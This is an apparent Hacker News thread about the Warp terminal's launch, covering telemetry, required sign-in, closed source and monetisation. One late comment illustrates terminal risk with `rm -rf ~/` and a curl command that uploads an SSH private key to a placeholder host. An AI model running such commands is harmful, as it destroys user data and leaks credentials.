| (in a voice like Jon Lovitz as Master Thespian)
| _Marketing!_
| akho wrote:
| I don't see the contradiction. They should be, but they
| aren't.
| jerrycainjr wrote:
| So awesome to see this ship!!!
| ekinertac wrote:
| hey Warp guys i love everything about it, already created my own
| theme with using simple-ever theme file with yaml. If you
| implement good powerfonts rendering like iTerm i'll be a forever
| user.
|
| check the difference: https://imgur.com/a/GUTVaeF
| yewenjie wrote:
| What does it offer that vterm doesn't?
| alokedesai wrote:
| Great question! Warp has many features that more traditional
| terminals don't have. Mainly:
|
| - Blocks: we group commands and outputs together so it is
| easier to navigate through the terminal, and perform actions on
| the outputs [0]
|
| - A text editor for the input: selections, cursor positioning,
| multiple cursors [1]
|
| - Workflows which allows you to save and share hard-to-remember
| commands [2]
|
| [0]https://docs.warp.dev/features/blocks
|
| [1]https://docs.warp.dev/features/the-input-editor
|
| [2]https://docs.warp.dev/features/workflows
| [deleted]
| teaearlgraycold wrote:
| What is your monetization plan?
| michlim wrote:
| Warp engineer here: Our business model is to make the terminal
| so useful for individuals that their companies will want to pay
| for the team features.
| teaearlgraycold wrote:
| Thanks for the response! That sounds great to me.
| qeternity wrote:
| Sponsored commands
| teaearlgraycold wrote:
| "Command not found: git. Did you mean github(tm)?"
| vultour wrote:
| You've reached your daily execution limit of `git`, please
| buy Warp tokens through the Warp Store (F4) to continue
| using `git`.
| sensitivefrost wrote:
| I could mildly ignore the invasive telemetry on my terminal (of
| all things), but making me sign into the terminal to use it is
| really bizarre behaviour. You make it a point on your web page
| that it isn't "yet another Electron app", but damn does it behave
| like one.
| hoistbypetard wrote:
| > We are planning to first open-source our Rust UI framework, and
| then parts and potentially all of our client.
|
| That's pretty cool. I'll be interested in trying it once all of
| the source is available. A proprietary terminal program that
| connects to googleapis.com, sentry.io, segment.io, etc. is a
| *total* non-starter for me.
|
| Good luck with the beta! I'm really interested to see a release
| I'll be able to try.
|
| (FWIW, I think the model, in macro, sounds like something I'm
| glad to support. It reminds me of Bitwarden, for which I happily
| pay every year.)
| qeternity wrote:
| So what sort of valuation does a terminal raise $23m at
| qbasic_forever wrote:
| Presumably investors want at least 10x their investment, so...
| qeternity wrote:
| That's return on investment, not valuation.
|
| Let's say for giggles it was $23 at $46 post, even by today's
| bubble standards, that seems...rich.
| sgt wrote:
| This is certainly interesting, but I am struggling to sign up.
|
| I clicked "Sign up with GitHub", it took me to the website where
| I authorized it. It was seemingly working until I saw this:
|
| "Oops! We were unable to log you in."
| cieplik wrote:
| Mind popping out to our Discord:
| https://discord.com/invite/warpdotdev? We can sort it out there
| more easily
| firstSpeaker wrote:
| I pay for apps that I use once a months or once every other
| month, why not for something that I will use everyday for long
| hours. However:
|
| - Collecting telemetry - Requiring sign up (and associating
| telemetry wit it)
|
| Are flags for me.
|
| If you want to collect feedback fast and easy, the best would
| have been letting it be taken for a spin by folks in HN and and
| you could have probably benefitted from a good deal of input on
| improvement or bug-hunting.
|
| A terminal with a dedicated well funded company, I welcome and
| can pay for such terminal. But collecting too much data these
| days is at least frowned upon by almost everyone.
| jrockway wrote:
| This is really interesting. I have been annoyed for a long time
| on how ssh, the terminal emulator, tmux, and the shell don't know
| anything about each other. I also started writing a native
| terminal emulator (no electron, of course) to fix these problems.
| I kind of thought I'd do the slow burn over 4 or 5 years of using
| it myself (being a shell sadly means writing a programming
| language, and you don't make a good one over the weekend), then
| maybe stick it on Github and get a Patreon going if other people
| want to use it and could be convinced for something they can get
| for free.
|
| Warp has taken a dramatically different approach; they got
| millions in funding and just made it a company. I am shocked
| because I never considered there was a market for these things.
| Developers hate having their tools taken away when their credit
| card expires, and it's kind of hard to compete with free, which
| clearly works well enough to have created all software and
| systems currently in existence. But I guess there was a time when
| you only got a UNIX shell with a commercial UNIX license, and
| people did somehow get access to those, and they did become very
| popular.
|
| Anyway, seeing this really made me rethink the world and I'm
| still reeling a little bit. (I think my thing will be better
| though ;)
| anthk wrote:
| >you only got a UNIX shell with a commercial UNIX license
|
| Even at these times you got tons of GNU and BSD utilities.
|
| And since Slackware days, the commercial Unix' days were
| numbered.
| zhengt wrote:
| Warp engineer here. Thanks for your note, glad to hear from a
| fellow engineer in this space! While there's a lot of great
| software that's free, the terminal is a tool tens of millions
| of developers use everyday - and there's a lot of value in this
| space.
|
| How can I learn more about your project?
|
| Btw, we are hiring! ;)
| mongol wrote:
| Yes perhaps what we need is a "rampant layering violation" in
| the terminal world. ZFS showed how to build an awesome
| filesystem by breaking pre-existing boundaries. Can something
| similar happen between shell, terminal, tools, etc?
| anthk wrote:
| >Can something similar happen between shell, terminal, tools,
| etc?
|
| Complex shell scripting was superseded by Perl. On shells,
| even OpenBSD's ksh it's enough. Tools? Unix utilities and,
| again, Perl for the complex stuff. Solved since 1997.
| qwemaze wrote:
| interesting how a terminal nowadays needs a whole company with
| career options and venture funds backing, unless you're trying to
| make a bloated product out of it ofc
|
| don't get me wrong, it looks great as it is right now, but i'm
| very sceptical about it's future
| rstarback wrote:
| The A.I. Command Search feature is absolutely nuts, I'm blown
| away
| moistoreos wrote:
| I live in the terminal. If that is not open source then I am not
| using it.
|
| This is a hill I will die on and it sets terrible precedence for
| other core workflow tools.
| mfringel wrote:
| The telemetry is concerning, but I'm much more concerned about
| whoever else decides to use your telemetry hooks to exfiltrate
| data.
|
| I'm 100% on board with trying out a new terminal that is fast and
| has features, but there's an implicit expectation of the
| simplicity of the communication channel, and... this is not it.
| qiskit wrote:
| > The terminal's teletype-like interface has made it hard for the
| CLI to thrive.
|
| CLIs are available on every OS.
|
| > I always forget how to use `tar`;
|
| You can increase the amount of command history you keep. Or keep
| a file with oft used commands.
|
| > Our business model is to make the terminal so useful for
| individuals that their companies will want to pay for the team
| features.
|
| Hard to believe. But good luck.
|
| > We will never sell your data.
|
| Define never. What if apple offered you $10 billion for the data?
| Even then? Also, why would you be collecting our data in the
| first place? Why does a terminal need to collect data?
|
| Is there any new development or any product today that isn't
| collecting data? When's the last new product or upgrade or
| anything that didn't have data collection.
| brightball wrote:
| It certainly looks interesting. I sincerely hope the plan is for
| eventual cross platform functionality if it's aimed and
| development teams. So many more devs seem to be using native
| linux these days.
| 999900000999 wrote:
| Like almost everyone else, I really want to like this product.
|
| I imagine if it was open source, didn't have a bunch of strange
| network calls built in, and most importantly a third party
| audited the source code to make sure you're not doing anything
| wrong, then I'd be open to trying it.
|
| The issue here is you have a black box, which will have complete
| control over my system. I have no idea what happens the moment I
| give you my sudo password, do you install a bunch of weird stuff
| in the background? How do I know this isn't just a keylogger?
|
| I can't imagine any company approving this for internal use.
|
| Equally concerning, what's your business model. Are you selling
| my data ? Will you deliver ads straight to the terminal ?
|
| At the same time, I would absolutely love to see you. Someone do
| this, but as a transparent open source project. I'm just not sure
| how you can create a business from that.
| vasco wrote:
| What a coincidence, I wonder if this other dude got $17 mil:
| https://github.com/spolu/warp
|
| > warp lets you securely share your terminal with one simple
| command: warp open. When connected to your warp, clients can see
| your terminal exactly as if they were sitting next to you. You
| can also grant them write access, the equivalent of handing them
| your keyboard.
|
| > warp distinguishes itself from "tmux/screen over ssh" by its
| focus and ease of use as it does not require an SSH access to
| your machine or a shared server for others to collaborate with
| you.
|
| > Despite being still quite experimental, warp has already proven
| itself useful especially in the context of:
|
| > - Interaction with remote team-members
|
| > - New engineer onboarding (navigating code in group without
| projection) Installation
| LH9000 wrote:
| Where's the Linux version?
| nepeckman wrote:
| I think there is a lot of potential for creativity in the
| terminal space, and warp has some cool ideas. I'd honestly even
| be willing to pay directly for a terminal if it went above and
| beyond in terms of efficiency and functionality. Unfortunately I
| cannot try warp, as I don't have an osx machine. I understand
| that cross platform (in particular Linux ports) is a challenge,
| and I usually don't expect that from consumer products or open
| source projects. But a VC backed product made specifically for
| developers should have a Linux port imo, especially if your
| business model is to impress developers and get them to convert
| their teams.
| michlim wrote:
| Warp engineer here. Thank you for the kind words.
|
| We do want to support linux once we get the product experience
| right. We decided to build in Rust and set up a UI framework
| because we wanted to make it easier for us to port to Linux.
|
| For now, every platform we support entails additional
| engineering overhead that takes away from getting to product-
| market fit. Once there, we will invest resources into
| supporting Linux, Windows, and the Web.
| jaytaylor wrote:
| I upvoted this earlier today, and just now came back to reading
| through the thread. Now I wish I could remove the vote, what a
| mess.
|
| Some things only happen on HN. This is one of them.
| guytv wrote:
| I've been using warp in beta for a while now. Once you start
| using it, you won't want to get back to anything else.
| metadat wrote:
| > I've been using warp in beta for a while now.
|
| How long is awhile?
|
| > Once you start using it, you won't want to get back to
| anything else.
|
| Heard this line before, and without providing anything specific
| of substance, your comment comes off like a bot shill.
|
| Why wouldn't I want to go back to the tools that have been
| working fine since 25+ years?
|
| TBH, based on this HN discussion, WarpTerm reminds me of Bonzai
| Buddy more than any other terminal or command-line tool I've
| ever used.
| scottlamb wrote:
| Like others here, I'm leery of replacing my terminal with a VC-
| backed, maybe open-sourced eventually product, and a bit annoyed
| it claimed a name already in use in the Rust world.
|
| But...it is exciting to see someone reimagining the terminal a
| bit. People frequently talk about wanting a better GUI
| interaction model for everyone, but the actual ideas to improve
| it seem to be missing, I think because the desktop status quo is
| really not that bad for low-learning curve systems. (In fact, I
| think many of the changes in the name of desktop/mobile
| convergence have been for the worse.) I'm way more interested in
| the idea of creating a hybrid text/graphic command interface for
| programmers. There's a much better interface waiting for someone
| with the vision and (more importantly) ability to create an
| ecosystem around it. Some ideas:
|
| * Warp's more visual completion is super welcome. Does it work
| with the shell's standard completion scripts?
|
| * Warp's blocks look like a nice step in the right direction. How
| do they work? I'd guess it's ANSI codes like iTerm uses to
| distinguish the ends of commands, although that has the downside
| that a broken/hostile command can impersonate the shell saying
| the command has ended. It'd be nice to work out some compatible
| yet more robust protocol. (Maybe the shell takes responsibility
| for piping subcommand's output through it and filtering, or maybe
| something else.)
|
| * It'd be interesting to further extend blocks with some protocol
| that allows programs to output within their block using richer
| elements: non-monotype fonts, adjustable tables, etc. A little
| like a Jupyter notebook, maybe. Even better if it works with some
| richer way for programs to pipe information to each other.
|
| * Likewise, when launching alternate-screen terminal stuff, to
| allow them to do more with the rectangle than a grid of text.
| Closer to embedding an arbitrary cross-platform network-
| transparent GUI, launched from the shell, occupying its
| rectangle.
|
| * And at first glance, looks like it's missing tmux-like features
| (whether integration with tmux proper like iTerm has or its own
| thing). I'd want that in any richer terminal app--most of my work
| in terminals is on remote machines, often over flaky network
| connections.
| michlim wrote:
| Warp engineer here. Really appreciate your ideas here!
|
| > Warp's more visual completion is super welcome. Does it work
| with the shell's standard completion scripts?
|
| It does not. But we have completions out of the box for 200
| commands.
|
| Warp's input is a text editor instead of the shell input. This
| means we ended up building completions by hand and soon, via
| the community. We think this is a better experience because we
| can provide more in-line documentation.
|
| > Warp's blocks look like a nice step in the right direction.
| How do they work?
|
| tldr; shell hooks
|
| Most shells provide hooks for before the prompt is rendered
| (zsh calls this precmd) and before a command is executed
| (preexec). Using these hooks, we send a custom Device Control
| String (DCS) from the running session to Warp. Our DCS contains
| an encoded JSON string that includes metadata about the session
| that we want to render. Within Warp we can parse the DCS,
| deserialize the JSON, and create a new block within our data
| model.
|
| Re: impersonation: that's a good concern we will consider.
|
| > It'd be interesting to further extend blocks with some
| protocol that allows programs to output within their block
| using richer elements.
|
| Absolutely! This is definitely in the roadmap. We want rich
| output like adjustable tables and images. We also want to
| support a protocol so other CLI programs can use it.
|
| > Likewise, when launching alternate-screen terminal stuff, to
| allow them to do more with the rectangle than a grid of text.
|
| Yes we are thinking of supporting blocks within tmux, for
| example.
|
| > And at first glance, looks like it's missing tmux-like
| features (whether integration with tmux proper like iTerm has
| or its own thing).
|
| Yes, other than split panes, we do not have tmux-like features.
| We've begun mocking out what those features could look like. We
| are thinking of a native window management solution and a
| native way of saving workspace/session templates.
|
| We are also thinking of what a deeper integration with Tmux
| might look like.
| wildmanx wrote:
| > This means we ended up building completions by hand and
| soon, via the community.
|
| You like people to contribute for free ("build a community")
| but refuse to give them an actual FOSS client. This is bound
| to fail.
|
| There are ways to make this go both ways though, and I hope
| you'll make them work once you are a bit further along in
| your journey. Exciting project!
| wodenokoto wrote:
| > You like people to contribute for free ("build a
| community") but refuse to give them an actual FOSS client.
| This is bound to fail.
|
| Sublime text has a pretty active community that builds and
| shares extensions.
|
| Why not warp?
| ushakov wrote:
| Sublime is selling a product that users can purchase and
| own
|
| Warp is owned by venture capitalists
| scottlamb wrote:
| Meh, I could be into it without them providing a FOSS
| implementation. Think of Microsoft's language server
| protocol. It's nice that VS Code is open source, but even
| if it weren't, we might still be using this protocol with
| rust-analyzer and neovim. Or any number of older
| protocols/formats with RFCs that didn't start with good
| FOSS implementations.
|
| In the case of completion, if you can generate (less rich
| but still useful) bash/zsh/fish completion scripts from
| these files, program authors might be happy to use it even
| in the absence of a fancy terminal.
| zokier wrote:
| I'm wondering if the solution for the block separation could
| be to have separate tty (or pty?) for each block. I guess
| that wouldn't work too well with existing shells though
| mongol wrote:
| That is how I thought it worked first. That each pty
| executed its own shell instance and passed their
| environment and current working directory between them.
| Perhaps that would be a very naive approach that couldn't
| work in practice
| scottlamb wrote:
| That might be interesting for supporting multiple blocks
| running at once without confusion, as an update to the
| classic shell job control. Highlighting stdout vs stderr
| differently, too.
|
| Another dimension to consider is the possibility of nested
| blocks: subshells, ssh, programs with their own REPL, etc.
| wodenokoto wrote:
| How about we don't downvote the developers when they take
| time to answer questions?
|
| I don't care if it wasn't the answer you were hoping for
| -this should be upvoted as it is very relevant for the
| conversation in this thread.
| chimen wrote:
| Another one riding the "Rust-based" horse.
| orastor wrote:
| Wanted to give it a shot but got disappointed when I launched it
| and the following happened:
|
| - Outgoing request to googleapis.com
|
| - Outgoing request to segment.io
|
| - Outgoing request to sentry.io
|
| - Requires sign up (only via Github, mind you)
|
| I understand the first request is probably to get some dynamic
| configuration, even though I'd rather my terminal ship with
| static configuration. But then you have segment and sentry: not
| interested in sending telemetry from my terminal. Finally having
| user accounts for a terminal is such as strange concept.
|
| I really wanted to like it, too. The screenshots look great
| ZoomZoomZoom wrote:
| > Warp is a blazingly fast, rust-based terminal reimagined from
| the ground up _to work like a modern app_.
|
| Well, at least they didn't lie.
|
| As of my personal position: I want less _products_ in my
| computing environments, not more. I hope more people would
| ponder on possible ramifications of going in the opposite
| direction.
| gxt wrote:
| We exists, but it's complicated. A complete solution has more
| edge cases than what "stacks" have tools to work with. My gut
| feeling is that the contemporary approach to solving
| information problems is crazy nonsense. I'm working on
| something to prove myself wrong. If I'm not I'll make
| something available for a fee
| Pr0ject217 wrote:
| Just curious, what tools do you prefer to use to identify
| network requests from recently installed applications such as
| this?
| battles wrote:
| On the mac there's Little Snitch.
| _jal wrote:
| I can't imagine using a Mac without Little Snitch:
| https://obdev.at/products/littlesnitch
|
| Among other things, it is disturbing how chatty a lot of
| things are. (Did you know Apple Mail keeps track of which
| account you email different people with and wants to send
| that to configuration.apple.com, even if you have carefully
| disabled everything Icloud related?)
|
| There's a similar tool for Linux, but I usually keep a
| networkless VM around for playing with potentially sketchy
| things.
| okamiueru wrote:
| On Linux there is OpenSnitch. A bit rough around the edges,
| but does what it needs to do well.
| asadlionpk wrote:
| I also would like to know this.
| pkaye wrote:
| That is the modern experience part.
| buro9 wrote:
| I'm not sure I'm ready to have SaaS models replace core
| utilities and tools locally.
|
| > Announcing Warp's Series A: $17M to build a better terminal
|
| And just thinking about this... it's not clear to me what their
| moat will be as I suspect if there's a really compelling
| feature it will be available in OSS terminals quite quickly.
| Perhaps it's the product polish? But I'm not sure polish is
| what I want from a terminal, at least... it's not the top thing
| I want .
| michlim wrote:
| Warp engineer here.
|
| FWIW, the Warp terminal will be free for individuals. We
| would never charge for anything a terminal currently does. So
| no paywalls around SSH or anything like that. The types of
| features we could eventually charge for are team features.
|
| Our bet is that the moat is going to be the team features,
| like:
|
| - Sharing hard-to-remember workflows
|
| - Wikis and READMEs that run directly in the terminal
|
| - Session sharing for joint debugging
|
| Our bet is their companies are willing to pay for these. BTW,
| even these team features will likely be free up to some level
| of usage and only charged in a company context.
| ThemalSpan wrote:
| What would be the advantage over version controlled shell
| scripts?
| alokedesai wrote:
| That's a great question! Version controlled shell scripts
| are very useful (and in fact workflows in Warp can also
| be version controlled) but they still have a few
| problems: 1) Documentation--when a repo has a lot of
| shell scripts, it can be very difficult to know which
| command to run in certain situations. Even if each shell
| script has documentation, there's no way to find that
| documentation natively from the terminal itself. 2)
| Searching--you can only execute commands from the
| terminal based on the shell script name but there's no
| easy way to search for a script based on _what_ it does
| or any other metadata.
| steveklabnik wrote:
| (Not affiliated with Warp but care about this particular
| thing)
|
| Shell scripts implies, well, a particular shell. If
| everyone is on similar OSes, maybe that works for you,
| but as a Windows user, "pile of bash scripts" might as
| well be "doesn't work for you." I use a terminal for my
| daily work, but don't have bash installed on my machine.
|
| That said, I haven't tried Warp yet specifically because
| it's Mac-only right now. Even within that context, Warp
| integrates with Bash, Zsh, or Fish, which do have their
| own extensions to POSIX shell, but at least you can rely
| on Bash being installed.
| andrewzah wrote:
| That would also now force everyone to use this
| proprietary product instead of whatever they're familiar
| with.
|
| For mac <-> linux, posix-compliant scripts mostly work in
| my experience but you have to account for different
| versions of gnu utils. For linux <-> windows, if it's
| small you could just write a powershell script, or use
| something like python on both, no?
|
| I fail to see how these features are nice enough to force
| people to use a proprietary terminal that, for now, is
| compatible with existing bash/zsh shells.
| steveklabnik wrote:
| Yes, that is true, but it does seem like that's what
| their strategy is. If you're using these collaboration
| tools at your job, you'd have to be using the product
| already. So that's less of a problem than it would be for
| say, scripts included with some sort of open source
| project.
|
| My point is mostly that shell isn't cross-platform, and
| this is one way you _could_ address that. But it 's not a
| generalized solution, absolutely.
|
| (and yeah, something like Python is better than trying to
| keep multiple of the same scripts in different languages,
| for sure. You can do it if you wanted though, if they're
| small and you're willing to commit to it, I'm not sure
| I've ever seen it really pulled off.)
| iskamag wrote:
| >shell isn't cross-platform
|
| basically every operating system has a posix shell by
| default except windows, but it has been ported there
| multiple times, samba existed for decades and WSL is on
| the rise. It may sound a little more irritating but they
| deserve it for still running windows :p /hj (besides you
| can just host an ssh server)
| steveklabnik wrote:
| I mean, I could also tell you "Just download and run
| PowerShell, it's ported to Linux", but you also know that
| would make you feel like a second-class citizen, because
| you know it's not something as good as something that
| actually works on your platform in a real sense.
| colonwqbang wrote:
| Why would it be easier to port Warp to a new system
| compared to Bash, Python, Perl, etc.? These tools are
| widely used to automate workflows and are already ported
| to any system you would probably care to develop on.
| steveklabnik wrote:
| You aren't the one porting Warp, but you are the one
| porting the shell script.
| Fnoord wrote:
| Nix(OS) already solves this problem.
| wildmanx wrote:
| > The types of features we could eventually charge for are
| team features.
|
| You can probably maximize community acceptance if you
| provide clients that do not use these features as actual
| FOSS and only start incorporating closed-source pieces for
| those features. With things like client keys etc to
| restrict server access.
|
| A bit like the Chrome/Chromium thing was intended
| initially.
| jbverschoor wrote:
| > - Sharing hard-to-remember workflows = Make better
| scripts and put in CI
|
| > - Wikis and READMEs that run directly in the terminal No
| thank you
|
| > - Session sharing for joint debugging = That's more for
| development.. not for shell access
|
| > Our bet is their companies are willing to pay for these.
| BTW, even these team features will likely be free up to
| some level of usage and only charged in a company context.
|
| I actually don't want them. I migrated from many apps that
| do too much to apps that do one thing really well.
| heroHACK17 wrote:
| I wondered the same. Then I realized it sends out requests to
| googleapis, segment, and sentry. Imagine having data on every
| dev's terminal workflow? Ca$h.
| OOPMan wrote:
| Sounds more like a good way to get your product banned from
| a lot of workplaces.
| eterm wrote:
| A lot of workplaces don't even bother to ban grammarly,
| which is literally a keylogger*, this won't even be on
| their radar.
|
| * I feel compelled to point out that Grammarly disagree
| with this definition because it doesn't send _every
| single keystroke_ , just the _ones in non-password text
| boxes_.
| mritchie712 wrote:
| The moat would be if teams depend on it for sharing
| workflows. Doing "teams" right on OSS is tricky, much easier
| to pull off in SaaS.
| feanaro wrote:
| > I'm not sure I'm ready to have SaaS models replace core
| utilities and tools locally.
|
| This isn't something you can ever be ready for. It's so
| completely and obviously wrong. Just say no.
| nicoburns wrote:
| I doubt their compelling features will be in OSS terminals
| any time soon. I've wanted a terminal that has a decent multi
| line editor for _years_ , and there's nothing out there.
| mftb wrote:
| This stuff has been in the major shells for years, through
| excellent editor integration. For emacs and vi it's pretty
| much free. If you want to integrate with a different
| editor, it's totally doable.
|
| Most of the stuff sibling comment is referring to center
| around the feature:
|
| 'edit-and-execute-command' in bash. There is a similar
| incantation for zsh.
|
| I summon it with, 'ESC v' in both.
| nicoburns wrote:
| If I open an editor then my scrollback history isn't
| visible (or is in a separate window). Maybe vim and emacs
| offer this, but that's a big commitment just for a
| terminal. Warp has GUI-grade editing (mouse support, etc)
| with things like multiple cursors in a very nice
| interface.
| kreetx wrote:
| In emacs a shell is like a text buffer where you can
| simply search or move around as you would do in a text
| file. To get command history you'd just execute `history`
| and then ctrl+s (find) it, or move to it with the cursor.
| NoGravitas wrote:
| So does Emacs. I kind of assume vim and neovim do too,
| these days.
| a5aAqU wrote:
| Ctrl-z will put Vim to sleep. You can look at the history
| and then type `fg` to bring the Vim back to the
| foreground.
| mftb wrote:
| Normally I would pull the command I need multi-line
| editing for back from shell history, using the search
| operator '!' and print predicate ':p' before invoking
| bash's 'edit-and-execute-command' on it. I suppose while
| in the editor then I might need history again, but I
| can't recall it being an issue.
| root_axis wrote:
| haha well "decent" is in the eye of the beholder, I'd argue
| that vim is not only "decent" but by far the best general
| purpose IDE available.
| tasuki wrote:
| I use pretty out of the box zsh with vi-mode and it... just
| works for multiline editing? I can simply move down and up
| with j/k...
| EuAndreh wrote:
| In Bash: C-x C-e
|
| This opens $EDITOR, and when you finish editing and close
| it, it runs the code.
| a5aAqU wrote:
| > a terminal that has a decent multi line editor for years
|
| You can use ctrl-x ctrl-e in most terminals.
|
| https://unix.stackexchange.com/questions/85391/where-is-
| the-...
| anthk wrote:
| >You can use ctrl-x ctrl-e in most terminals.
|
| Shells, not terminals.
| TheDong wrote:
| > I've wanted a terminal that has a decent multi line
| editor for years, and there's nothing out there.
|
| You can go the other direction.
|
| Install neovim. Run `:terminal`. optionally run `:help
| Terminal-mode` first so you can figure out how to get out.
| sitkack wrote:
| Terminals are largely owned by graybeard maintainers that
| aren't interested in innovating the Unix command line. This
| is not a difficult change.
| andrewzah wrote:
| Vim supports multiline editing and I'd imagine emacs does
| as well. In bash/zsh, <ctrl-x ctrl-e> opens up $EDITOR so
| you can use whatever you're accustomed to anyhow.
|
| Most of these features are already available if one spends
| a bit of time configuring their terminal/shell.
| kreetx wrote:
| Is multiline editing popular/useful? Thus far, the only
| occasions I've seen it shown is when someone is
| demonstrating it.
| andrewzah wrote:
| I'd say so, I find myself using it somewhat regularly.
|
| It's pretty easy in vim once you learn how to use visual
| block mode. That or using Sed to replace text in a
| selection or the entire file.
|
| http://paulrougieux.github.io/vim.html#Edit_multiple_line
| s
| mplanchard wrote:
| I use it not infrequently for crafting big ol bash
| pipelines to put into scripts, specifically via emacs'
| `shell` terminal emulator.
| tomxor wrote:
| I use the visual-multi plugin [0] all day in vim/neovim.
|
| I don't like using tons of plugins but multi cursor with
| with selective invocation like the ctrl-d of sublime etc
| was the main thing I missed when moving to vim. (I use
| visual block mode too but it's not the same thing).
|
| https://github.com/mg979/vim-visual-multi.git
| nicoburns wrote:
| If you need to pass lots of arguments to a command it's
| super useful. Typically I don't do this because it's
| quite unwieldly with a standard readline editor, but I
| could if multiline editing was available!
| zhengt wrote:
| While this can be done in zsh/bash, it takes investment
| to understand how to use multiline specifically. And then
| once you leave the terminal, the same keystroke does not
| do anything for you.
|
| One of Warp is that you don't have to think twice about
| it because it behaves similarly to text fields everywhere
| else on your computer.
|
| In the terminal, I often have the feeling that personal
| computing revolution from Xerox PARC & Apple Computer
| never happened.
| jart wrote:
| It depends how you define multiline but check out:
| https://github.com/jart/bestline
| [deleted]
| baby wrote:
| I knew this was too good to be true :(
|
| I feel bad for the engineers who worked on this, as this is
| really awesome but probably will not find market fit
| mrtweetyhack wrote:
| [deleted]
| jedisct1 wrote:
| Yes, but it's written in Rust.
| db48x wrote:
| Yea, I would never use a terminal that does any of that. If you
| want logging and crash reports, use Breakpad or something
| similar to send the crash report after a crash. No need to have
| telemetry reports going all the time.
| zhengt wrote:
| In addition to crashes, we also want to know things like:
| which features people are using so we can invest more in
| them, how much people are using the app so we know if we're
| doing in a good job.
|
| Totally understand if you're not comfortable with that
| though! It will be removed when Warp is out of the beta test.
| jacobsimon wrote:
| Come on. You must realize VS Code and basically every website
| you use collects telemetry data, which is rarely for anything
| nefarious except product improvements. If GitHub/Microsoft had
| released this product, would you be raising the same concerns?
| michaelmrose wrote:
| A remote system by definition has access to the information
| you give them and you should manage that carefully. Meanwhile
| your filesystem has access to your entire life, heart, and
| mind unvarnished, edited, and unsegregated with ephemera
| alongside the deep facts of your mind.
|
| Microsoft is a criminal enterprise that relatively recently
| got god to a degree and actually started caring about their
| image at home while still facilitating crime and corruption
| abroad. The fact that many are stupid enough to trust them
| with their data does not imply that this is a reasonable
| choice.
| Lammy wrote:
| > which is rarely for anything nefarious except product
| improvements
|
| Up until now, you've had to make these design decisions on
| your own, relying only on perplexing intangibilities like
| 'taste' and 'intuition'.
| [deleted]
| GekkePrutser wrote:
| I use VS Codium for this reason and self host git so yeah for
| me that's definitely a thing. And I have a ton of stuff to
| block as much telemetry from other software and websites as I
| can, including on mobile.
|
| It's not for everyone but yes there are still Don Quixotes
| like me fighting the army of windmills :)
|
| I suspect the proportion of us here at HN is pretty high too.
| exdsq wrote:
| Maybe not but I'd trust Microsoft has a decent security and
| privacy team working on this more than a startup. What if
| they're logging the wrong stuff and my data is leaked?
| alpaca128 wrote:
| You mean like when Microsoft started uploading all
| handwriting & voice recognition inputs including passwords?
|
| History has shown that telemetry is effectively spyware
| until proven otherwise, no matter who does it.
| exdsq wrote:
| Yeah but if Microsoft fuck up badly enough I can sue
| them, startups are less likely to survive a significant
| breach (especially if the thing being breached is 100% of
| their product). There's just far less risk.
| robertlagrant wrote:
| Good point - Microsoft products practically created the
| modern security industry. They're experts.
| michaelmrose wrote:
| Did you mean that old school Microsoft was so badly
| insecure that they created a massive opportunity for
| security professionals.
| daenney wrote:
| We can set the bar higher than "other people do this too so
| it's fine".
|
| > If GitHub/Microsoft had released this product, would you be
| raising the same concerns?
|
| Yes. It's one of the reasons I use the open source build
| instead.
| fractalf wrote:
| Me too. VSCodium FTW https://vscodium.com/
| bogota wrote:
| Yeah. From a developer standpoint my terminal is the one sacred
| thing i have still. Im unfortunately not using something that
| is going to randomly break or make external calls every time I
| open it.
|
| Looks cool but I will never even give this a try.
| [deleted]
| jnovek wrote:
| I nearly also used the word "sacred" in my comment above.
|
| I gave up MacOS for Linux because I felt like Apple wasn't
| letting me operate my own computer anymore. Even Ubuntu has
| eroded the transparency and control I have over my computer
| over the last decade, at least that's my perception.
|
| I feel like the only part of my computer that I understand
| anymore is what happens in the terminal.
|
| I don't categorically hate having magic happen on some remote
| server that makes computing easier for me in some way... but
| I really need to have a space that I understand and control
| and -- over time -- that place has slowly been compressed
| into the command line.
| drcongo wrote:
| I just downloaded it, but then thankfully read this comment
| before running it. No way do I want my terminal sending stuff
| to Google.
| drdaeman wrote:
| Exactly the same, clicked "comments" as I was downloading it,
| saw the first comment, deleted the installer.
|
| I'd be supportive of "report issue" buttons (I'd use them,
| yes), and occasional "Hey, you've used this app for a
| week/two/month, may we send some telemetry? We need it to
| better understand how the app is used. Here's the data, is it
| OK to upload it?" prompts. Yes, as long as I don't see
| anything sensitive in the payload - it sure is okay, you
| respect me and I respect you (with bonus points for politely
| asking); and I'll be sure to reaching out if I'd see anything
| sensitive.
|
| Phoning home from the get-go for anything but an anonymous
| update check and requiring some account is a hard "no".
| ilovecaching wrote:
| It's a closed source paid spyware development tool that you
| rely on every day to get work done, what's not to love about
| this idea?
| faldore wrote:
| 1) installed it 2) login required 3) uninstalled it
|
| try again
| jcranberry wrote:
| How do you check which requests its making? Do you just use
| tcpdump or something?
| Fnoord wrote:
| You could use a layer 7 firewall for this purpose. I use
| Little Snitch on macOS and Opensnitch on Linux. Given this
| application is macOS only right now, I would bet OP used LS
| since its popular on macOS.
| jcranberry wrote:
| Thank you. Im dual booting osx and linux right now so those
| will both come in handy.
| qbasic_forever wrote:
| Wait, you _have_ to have a github account to even open this
| terminal?
|
| Yikes.
| Mister_Snuggles wrote:
| I remember an iOS email client many years ago that required a
| Dropbox login for some reason. It made no sense that an email
| client would require me to log in to a cloud file
| storage/syncing service - in my mind these two things are
| completely unrelated. That email client ended up
| disappearing.
|
| I expect that a terminal program which requires a login to a
| completely unrelated service will end up meeting the same
| fate as that email client did.
| jnovek wrote:
| Also: security?
|
| I expect my terminal to be a much more secure environment than
| my web browser. When an application starts communicating with
| the internet, I have no choice but to treat it with the same
| level of scrutiny as my browser.
|
| Even making telemetry opt-in means that it has the _capability_
| to send information to the internet that I don't know about,
| which means that I have to treat it like an application that
| can do that.
|
| Honestly, this freaks me out. It's an angle I've never
| considered before. Now I need to make sure my current terminal
| emulator (kitty) isn't sending information to the internet
| without my permission.
| rgrieselhuber wrote:
| This was my first concern as well. I don't want my terminal
| to be a startup.
| gernb wrote:
| > I expect my terminal to be a much more secure environment
| than my web browser.
|
| Wat? Your terminal is 1000x less secure than your browser.
| Your terminal can do `rm -rf ~/`. your terminal can run `curl
| -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of
| 1000s.
|
| JS on your browser can do none of those.
|
| Maybe you meant to say you want apps running from the
| terminal to not phone home but nothing in the terminal
| prevents that.
| triyambakam wrote:
| That's security vs. safety. You're pointing out that a
| terminal allows the user to do perform actions that could
| be unsafe. These actions or JS in the browser are a
| _security_ risk because they can perform actions without
| the user 's awareness or consent.
| warent wrote:
